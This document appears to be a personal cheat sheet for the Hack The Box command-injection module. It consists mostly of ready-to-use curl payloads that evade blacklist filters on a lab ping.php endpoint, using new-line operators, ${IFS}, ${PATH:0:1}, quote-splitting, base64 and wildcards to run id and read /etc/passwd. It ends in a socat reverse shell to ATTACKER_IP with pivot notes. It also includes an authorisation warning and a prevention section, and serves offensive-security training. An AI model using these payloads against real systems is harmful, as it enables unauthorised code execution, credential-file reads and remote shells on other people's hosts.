command-injection-filter-bypass.md (19075B)
1 --- 2 title: "Command Injection — Filter Bypass" 3 description: "Bypassing command-injection filters: space, blacklisted-character and blacklisted-command evasion, plus advanced obfuscation." 4 category: web 5 tags: ["web", "command-injection", "filter-bypass"] 6 tools: ["socat", "PowerShell"] 7 difficulty: intermediate 8 updated: "2026-08-28" 9 source: "vault:Web/Command Injection - Filter Bypass Cheat Sheet.md" 10 --- 11 # Command Injection — Filter Bypass Cheat Sheet 12 13 ## Summary 14 15 Command injection happens when attacker-controlled input reaches an operating-system shell call such as `shell_exec()`, `system()`, `exec()`, `passthru()`, or a back-tick execution, without proper validation. The reliable workflow is to confirm the sink executes a shell command, append an injection operator, then peel back each filter layer one character at a time. This sheet maps the whole Hack The Box Command Injections module: detection, operators, space filters, blacklisted characters, blacklisted commands, advanced obfuscation, evasion tooling, and the `socat` reverse-shell escape used against the INLANEFREIGHT `ping.php` endpoint. Read the source of the vulnerable script wherever possible, because guessing blind against a blacklist wastes far more time than reading the filter. 16 17 > [!danger]+ Authorisation Boundary 18 > 19 > 1. Use these payloads only against **Hack The Box**, intentionally vulnerable labs, or systems you own and are explicitly authorised to test. 20 > 2. Command injection yields real operating-system code execution. Treat every payload as production-dangerous. 21 > 3. Reverse shells and pivots cross network boundaries. Stay inside the documented scope, and tear down listeners and relays when the exercise ends. 22 23 --- 24 25 ## Conceptual Information 26 27 ### The mental model 28 29 An injectable endpoint concatenates your input into a shell string. If the backend runs something like `bash -c 'ping -c 1 <your_input>'`, then anything that terminates the `ping` argument and starts a new command runs on the host. Filters try to stop this by blacklisting operators, spaces, characters, and command names. Every filter has a bypass, because shells offer many equivalent ways to express the same instruction. 30 31 > [!info]+ Vulnerable PHP sinks to look for 32 > 33 > 1. `system()`, `exec()`, `shell_exec()`, `passthru()`, `popen()`, `proc_open()`, and back-ticks in PHP. 34 > 2. `os.system()`, `subprocess.*` with `shell=True`, and `eval` in Python. 35 > 3. `Runtime.exec()` and `ProcessBuilder` in Java, `child_process.exec()` in Node.js. 36 > 4. Any parameter whose value ends up as a hostname, filename, IP, or option that the server then shells out with. 37 38 ### Injection operators 39 40 These operators chain a second command onto the intended one. The new-line character is the star of the show, because it is rarely blacklisted (payloads legitimately need it) yet works as a separator on both Linux and Windows. 41 42 | Operator | URL-encoded | Executes | Notes | 43 |---|---|---|---| 44 | `;` | `%3b` | Both commands sequentially | Not valid in Windows CMD, works in PowerShell | 45 | `\n` (new-line) | `%0a` | Both commands | Best first choice, rarely blacklisted | 46 | `&` | `%26` | Both, output may interleave | Background operator | 47 | `&&` | `%26%26` | Second only if first succeeds | AND | 48 | `\|` | `%7c` | Second only, first output discarded | Pipe | 49 | `\|\|` | `%7c%7c` | Second only if first fails | OR | 50 | `` ` ` `` | `%60` | Command substitution (Linux) | Legacy back-ticks | 51 | `$( )` | `%24%28%29` | Command substitution (Linux) | Modern substitution | 52 53 > [!tip]+ Why new-line wins 54 > 55 > 1. A blacklist that blocks `;`, `&`, and `\|` still usually lets `%0a` through, because the developer needs new-lines elsewhere in the request body. 56 > 2. The new-line both terminates the first command and begins yours, so `127.0.0.1%0aid` conceptually becomes two lines: `ping -c 1 127.0.0.1` then `id`. 57 58 --- 59 60 ## Detection & Filter Identification 61 62 ### Step 1 — Confirm the sink shells out 63 64 Send the intended value and a chained operator, then compare responses. A successful ping plus extra output, a timing difference, or an error that leaks a shell message all indicate a shell call. 65 66 ```bash 67 # Baseline: normal behaviour 68 curl "http://target/ping.php?ip=127.0.0.1" 69 70 # Probe: append an operator + command 71 curl "http://target/ping.php?ip=127.0.0.1;id" 72 curl "http://target/ping.php?ip=127.0.0.1%0aid" 73 ``` 74 75 > [!info]+ What each response tells you 76 > 77 > 1. **Invalid input** on `;` but success on `%0a`: an operator blacklist exists, new-line is allowed. 78 > 2. **Ping runs but no `id` output**: the operator was accepted but a later filter (space, word) stripped or rejected the injected command. 79 > 3. **Blank or 500 error**: input may have broken the shell string. Adjust quoting. 80 81 ### Step 2 — Read the filter if you can 82 83 The single biggest time-saver is dumping the script source once you have any execution, so you stop guessing. In the INLANEFREIGHT lab the filter blacklist is visible directly in `ping.php`. 84 85 ```php 86 <?php 87 function filter($str) 88 { 89 $operators = ['&', '|', ';', '\\', '/', ' ']; 90 foreach ($operators as $operator) { 91 if (strpos($str, $operator)) { return true; } 92 } 93 $words = ['whoami', 'echo', 'rm', 'mv', 'cp', 'id', 'curl', 'wget', 'cd', 94 'sudo', 'mkdir', 'man', 'history', 'ln', 'grep', 'pwd', 'file', 95 'find', 'kill', 'ps', 'uname', 'hostname', 'date', 'uptime', 96 'lsof', 'ifconfig', 'ipconfig', 'ip', 'tail', 'netstat', 'tar', 97 'apt', 'ssh', 'scp', 'less', 'more', 'awk', 'head', 'sed', 98 'nc', 'netcat']; 99 foreach ($words as $word) { 100 if (strpos($str, $word) !== false) { return true; } 101 } 102 return false; 103 } 104 if (isset($_GET['ip'])) { 105 $ip = $_GET['ip']; 106 if (filter($ip)) { $output = "Invalid input"; } 107 else { $cmd = "bash -c 'ping -c 1 " . $ip . "'"; $output = shell_exec($cmd); } 108 } 109 ?> 110 ``` 111 112 > [!warning]+ Two subtle filter bugs to exploit 113 > 114 > 1. **Operator check uses `strpos()` truthiness**: `if (strpos($str, $operator))` treats position `0` as false. A blacklisted operator sitting at the very start of the string slips through, though that rarely helps here since our injection follows the IP. 115 > 2. **The command is wrapped in single quotes**: `bash -c 'ping -c 1 <input>'`. That wrapper is exactly why splitting command names with single quotes works, see below. 116 > 3. **`ip` is blacklisted as a word**, so `ifconfig` and `ip a` are blocked, but we bypass this by splitting characters. 117 118 --- 119 120 ## Bypassing Space Filters 121 122 The space is the most commonly blacklisted character, because a valid IP never needs one. There are many space-free substitutes. 123 124 | Technique | Payload fragment | Works on | Notes | 125 |---|---|---|---| 126 | **Tab** | `%09` | Linux + Windows | Shells treat tabs as argument separators | 127 | **`${IFS}`** | `${IFS}` | Linux (bash/sh) | Default IFS is space + tab + new-line | 128 | **`$IFS$9`** | `$IFS$9` | Linux | `$9` is an empty positional arg, ends the var name cleanly | 129 | **Brace expansion** | `{ls,-la}` | Linux (bash) | Braces auto-insert spaces between elements | 130 | **Input redirection** | `<` and `<>` | Linux | `cat<file` reads without a space | 131 | **Windows `%IFS%`** | not valid | Windows | Use `,` in some CMD contexts instead | 132 133 ```bash 134 # All of these run "ping -c 1 127.0.0.1" then the injected command, space-free 135 136 # Tab as separator 137 curl "http://target/ping.php?ip=127.0.0.1%0a%09id" 138 139 # IFS environment variable 140 curl "http://target/ping.php?ip=127.0.0.1%0a${IFS}id" # URL: %0a%24%7bIFS%7did 141 142 # IFS with positional-arg terminator 143 curl "http://target/ping.php?ip=127.0.0.1%0acat$IFS$9/etc/passwd" 144 145 # Brace expansion (no spaces inside braces) 146 curl "http://target/ping.php?ip=127.0.0.1%0a{cat,/etc/passwd}" 147 ``` 148 149 > [!info]+ How `${IFS}` bypasses the space 150 > 151 > 1. `IFS` is the Internal Field Separator, and its default value contains a space and a tab. 152 > 2. When bash expands `cat${IFS}/etc/passwd`, the variable resolves to a space, so the executed command is `cat /etc/passwd` with no literal space ever in the request. 153 > 3. `${IFS}` renders in the source string as no space, so a `' '` blacklist never triggers. 154 155 > [!tip]+ Brace expansion in one line 156 > 157 > 1. `{ls,-la}` expands to `ls -la`, `{cat,file}` expands to `cat file`. 158 > 2. Great when both spaces and specific commands are filtered, because you can also split names, e.g. `{c'a't,file}`. 159 > 3. See [PayloadsAllTheThings — Bypass without space](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#bypass-without-space). 160 161 --- 162 163 ## Bypassing Other Blacklisted Characters 164 165 When slashes, semicolons, or other characters are filtered, pull them out of shell environment variables using substring expansion, so the literal character never appears in your input. 166 167 | Character needed | Extraction trick | Expands to | 168 |---|---|---| 169 | `/` (slash) | `${PATH:0:1}` | First char of `PATH`, which is `/` | 170 | `;` (semicolon) | `${LS_COLORS:10:1}` | A `;` from the colours string | 171 | `\` (backslash) | `${HOME:0:1}` on some hosts | Depends on the variable | 172 | Any literal | `$(printf '\<octal>')` | Printf-decoded byte | 173 174 ```bash 175 # Read /etc/passwd without ever typing a slash 176 curl "http://target/ping.php?ip=127.0.0.1%0acat${IFS}${PATH:0:1}etc${PATH:0:1}passwd" 177 178 # Semicolon pulled from LS_COLORS (index varies per host, enumerate it) 179 curl "http://target/ping.php?ip=127.0.0.1%0a\$(echo${IFS}\${LS_COLORS:10:1})" 180 ``` 181 182 > [!info]+ Substring expansion syntax 183 > 184 > 1. `${VARIABLE:offset:length}` returns a slice of the variable's value. 185 > 2. `${PATH:0:1}` is the classic slash generator, because `PATH` almost always begins with `/usr/...`. 186 > 3. Enumerate a host's variables first (`printenv` if available, or `${VAR}` echoes) so you know which indices give which characters. 187 188 > [!tip]+ Character shifting with tr and printf 189 > 190 > 1. `$(tr '!-}' '"-~'<<<'gvzk')` shifts each character up by one ASCII value, decoding an obfuscated word at runtime. 191 > 2. `printf` with octal escapes reconstructs any byte, e.g. `$(printf '\57')` yields `/`. 192 193 --- 194 195 ## Bypassing Blacklisted Commands 196 197 Word blacklists match the exact string, so break the command name apart with characters the shell ignores at execution time. The key insight against `ping.php`: the command runs inside `bash -c '...'`, so single quotes inside the argument are removed by bash before execution. 198 199 | Technique | Example | Runs as | Why it works | 200 |---|---|---|---| 201 | **Single-quote split** | `'w'h'o'am'i'` | `whoami` | Bash strips the empty quote pairs | 202 | **Double-quote split** | `w"h"o"a"m"i"` | `whoami` | Same, quotes are removed at parse time | 203 | **Backslash split** | `w\ho\am\i` | `whoami` | Backslash before a normal char is dropped | 204 | **`$@` insertion** | `who$@ami` | `whoami` | `$@` expands to nothing | 205 | **Positional `${x}`** | `who${x}ami` | `whoami` | Unset var expands to empty | 206 | **Case + tr** | `$(tr A-Z a-z<<<WhOaMi)` | `whoami` | Lowercase at runtime | 207 208 ```bash 209 # The canonical INLANEFREIGHT bypass: 'i'd defeats the "id" word filter 210 curl "http://target/ping.php?ip=127.0.0.1%0a'i'd" 211 212 # ifconfig, split so the blacklisted "if"/"ip" fragments never appear whole 213 curl "http://target/ping.php?ip=127.0.0.1%0a'i'fconfig" 214 215 # which socat, combining char-split + IFS for the space 216 curl "http://target/ping.php?ip=127.0.0.1%0a'w'h'i'ch${IFS}socat" 217 218 # cat the source with char-split + IFS 219 curl "http://target/ping.php?ip=127.0.0.1%0a'c'at${IFS}ping.php" 220 ``` 221 222 > [!success]+ Confirmed execution on the lab 223 > 224 > ``` 225 > uid=1004(webdev) gid=1004(webdev) groups=1004(webdev),4(adm) 226 > ``` 227 > 1. The `id` output proves code execution as the **webdev** user. 228 > 2. `ifconfig` reveals a second interface `ens192: 172.16.8.120/23`, placing the host inside the `172.16.8.0/23` internal scope, a pivot opportunity into the Active Directory domain. 229 230 > [!info]+ Why quote-splitting beats the word filter 231 > 232 > 1. `strpos($str, 'id')` looks for the literal two-byte string `id`. `'i'd` contains `i`, `'`, `'`, `d`, never the contiguous `id`, so the check returns false. 233 > 2. Bash, executing `bash -c 'ping -c 1 127.0.0.1\n'i'd'`, removes the quote pairs and runs `id`. 234 > 3. The same logic defeats every entry in the word list, split any two adjacent characters and the substring match fails. 235 236 --- 237 238 ## Advanced Command Obfuscation 239 240 For heavier WAFs or case-insensitive filters, obfuscate so the payload does not resemble any known command even after simple normalisation. 241 242 | Method | Payload | Decodes to | 243 |---|---|---| 244 | **Case toggling** (Windows/PS) | `WhOaMi` | `whoami` (case-insensitive on Win) | 245 | **Case fix via tr** | `$(a="WHOAMI";tr${IFS}'A-Z'${IFS}'a-z'<<<"$a")` | `whoami` | 246 | **Reversed command** | `$(rev<<<'imaohw')` | `whoami` | 247 | **Base64 decode + exec** | `bash<<<$(base64${IFS}-d<<<'d2hvYW1p')` | `whoami` | 248 | **Wildcards** | `/???/??t /???/p??s??` | `/bin/cat /etc/passwd` (glob match) | 249 250 ```bash 251 # Reverse the string at runtime 252 curl "http://target/ping.php?ip=127.0.0.1%0a$(rev<<<'imaohw')" 253 254 # Base64-encode the whole command, decode and pipe to bash 255 echo -n 'id' | base64 # -> aWQ= 256 curl "http://target/ping.php?ip=127.0.0.1%0abash<<<$(base64${IFS}-d<<<aWQ=)" 257 258 # Wildcard path so no full binary name is written 259 curl "http://target/ping.php?ip=127.0.0.1%0a/???/c?t${IFS}/etc/passwd" 260 ``` 261 262 > [!tip]+ Layer the techniques 263 > 264 > 1. Combine operator + space bypass + name split + encoding when a filter chains several checks, e.g. `%0abash<<<$(base64${IFS}-d<<<...)`. 265 > 2. Wildcards (`?` single char, `*` any run) let you invoke binaries whose names are blacklisted, since the shell resolves the glob after the filter has already passed the request. 266 267 --- 268 269 ## Evasion Tools 270 271 Hand-crafting obfuscation is slow. These generators produce filter-evading payloads automatically. 272 273 > [!info]+ [Bashfuscator](https://github.com/Bashfuscator/Bashfuscator) Overview 274 > 275 > Configurable Bash command obfuscation framework for Linux targets. 276 > 1. `./bashfuscator -c 'cat /etc/passwd'` emits an obfuscated one-liner. 277 > 2. `-s 1 -t 1 --no-mangling` tunes obfuscation layers and size for readability or evasion. 278 > 3. Output can be very long, so test it fits the parameter length the endpoint accepts. 279 280 > [!info]+ [DOSfuscation](https://github.com/danielbohannon/Invoke-DOSfuscation) Overview 281 > 282 > Invoke-DOSfuscation obfuscates Windows CMD and PowerShell payloads. 283 > 1. Handles case toggling, char insertion, and environment-variable substring tricks for Windows. 284 > 2. Use `Invoke-DOSfuscation` then `SET COMMAND`/`ENCODING` inside its interactive menu. 285 286 > [!tip]+ Manual toolkit to keep handy 287 > 288 > 1. [PayloadsAllTheThings — Command Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) is the reference payload library. 289 > 2. Burp Suite Intruder loaded with a variation wordlist (see the companion Python generator) sprays candidates and highlights which return a non-`Invalid input` response. 290 291 --- 292 293 ## From RCE to Reverse Shell — the socat escape 294 295 Single commands run, but anything with a space breaks unless bypassed, and most shell binaries (`nc`, `bash`, `ssh`) are blacklisted. On the INLANEFREIGHT host `socat` survives the filter and is present at `/usr/bin/socat`. 296 297 ```bash 298 # Confirm socat exists (which is blacklisted as a word, so split it) 299 curl "http://target/ping.php?ip=127.0.0.1%0a'w'h'i'ch${IFS}socat" 300 # -> /usr/bin/socat 301 ``` 302 303 ```bash 304 # Attacker: start the socat listener with a full TTY handler 305 socat -d -d TCP4-LISTEN:4444,fork,reuseaddr FILE:`tty`,raw,echo=0 306 ``` 307 308 ```bash 309 # Target (via injection): connect back with an interactive bash 310 # Spaces replaced by ${IFS}, socat name intact (not word-filtered whole) 311 curl "http://target/ping.php?ip=127.0.0.1%0asocat${IFS}TCP4:ATTACKER_IP:4444${IFS}EXEC:bash,pty,stderr,setsid,sigint,sane" 312 ``` 313 314 > [!warning]+ Filter-safe reverse shell notes 315 > 316 > 1. Every space in the socat command must be `${IFS}` or `%09`, or the space blacklist rejects the request. 317 > 2. If `socat` is caught by a later word filter, split it: `so'c'at` or `s${x}ocat`. 318 > 3. `EXEC:bash,pty,stderr,setsid,sigint,sane` gives a fully interactive PTY, far better than a dumb `nc` shell for pivoting into the `172.16.8.0/23` network. 319 320 > [!tip]+ Grab the source first 321 > 322 > 1. Before brute-forcing a shell, `cat` the vulnerable script (`'c'at${IFS}ping.php`) so you know the exact blacklist and can craft a one-shot payload instead of dozens of failed guesses. 323 324 --- 325 326 ## Prevention 327 328 > [!important]+ How to actually fix this 329 > 330 > 1. **Never pass user input to a shell.** Use language-native APIs, e.g. a raw socket ping or a library, instead of `shell_exec("ping ...")`. 331 > 2. If a shell call is unavoidable, use parameterised execution that separates the command from its arguments (`execve`-style, no `bash -c`), so input can never become a new command. 332 > 3. **Allowlist, do not blacklist.** Validate against a strict pattern, e.g. an IP regex `^\d{1,3}(\.\d{1,3}){3}$`, and reject everything else. Blacklists always lose to obfuscation. 333 > 4. Run the web service as a low-privilege user in a locked-down container, and drop outbound network egress so a reverse shell cannot phone home. 334 335 --- 336 337 ## Quick Reference — Bypass Chains 338 339 | Filter hit | Fastest bypass | Example | 340 |---|---|---| 341 | Operator (`;` `\|` `&`) blocked | new-line | `127.0.0.1%0aid` | 342 | Space blocked | `${IFS}` / tab / `{a,b}` | `cat${IFS}/etc/passwd` | 343 | Slash blocked | `${PATH:0:1}` | `cat${IFS}${PATH:0:1}etc${PATH:0:1}passwd` | 344 | Command name blocked | quote/char split | `'w'h'o'am'i'` | 345 | Case-insensitive WAF | reverse / base64 | `bash<<<$(base64${IFS}-d<<<aWQ=)` | 346 | Binary name blocked | wildcards | `/???/c?t${IFS}/etc/passwd` | 347 | Need a shell | socat + `${IFS}` | `socat${IFS}TCP4:IP:4444${IFS}EXEC:bash,pty,...` | 348 349 --- 350 351 ## Lessons Learned 352 353 1. The new-line operator `%0a` beats operator blacklists almost every time, because developers cannot fully ban it. Always try it first. 354 2. Reading the filter source turns a guessing game into an engineering task. Any early RCE should be spent `cat`-ing the vulnerable script before anything else. 355 3. Filters compose, so bypasses compose. A single request often needs an operator bypass, a space bypass, and a command-name bypass stacked together. 356 4. `${IFS}` for spaces and single-quote splitting for names are the two highest-value tricks for the CPTS-style labs, learn them cold. 357 5. Blacklists are structurally doomed. When you write the fix, allowlist a strict input pattern and avoid the shell entirely. 358 359 --- 360 361 ## References 362 363 1. [HTB Academy — Command Injections module](https://academy.hackthebox.com/module/details/109) 364 2. [PayloadsAllTheThings — Command Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) 365 3. [OWASP — Command Injection](https://owasp.org/www-community/attacks/Command_Injection) 366 4. [MITRE ATT&CK — Command and Scripting Interpreter (T1059)](https://attack.mitre.org/techniques/T1059/) 367 5. [Bashfuscator](https://github.com/Bashfuscator/Bashfuscator) 368 6. [Invoke-DOSfuscation](https://github.com/danielbohannon/Invoke-DOSfuscation) 369 7. [socat man page](http://www.dest-unreach.org/socat/doc/socat.html)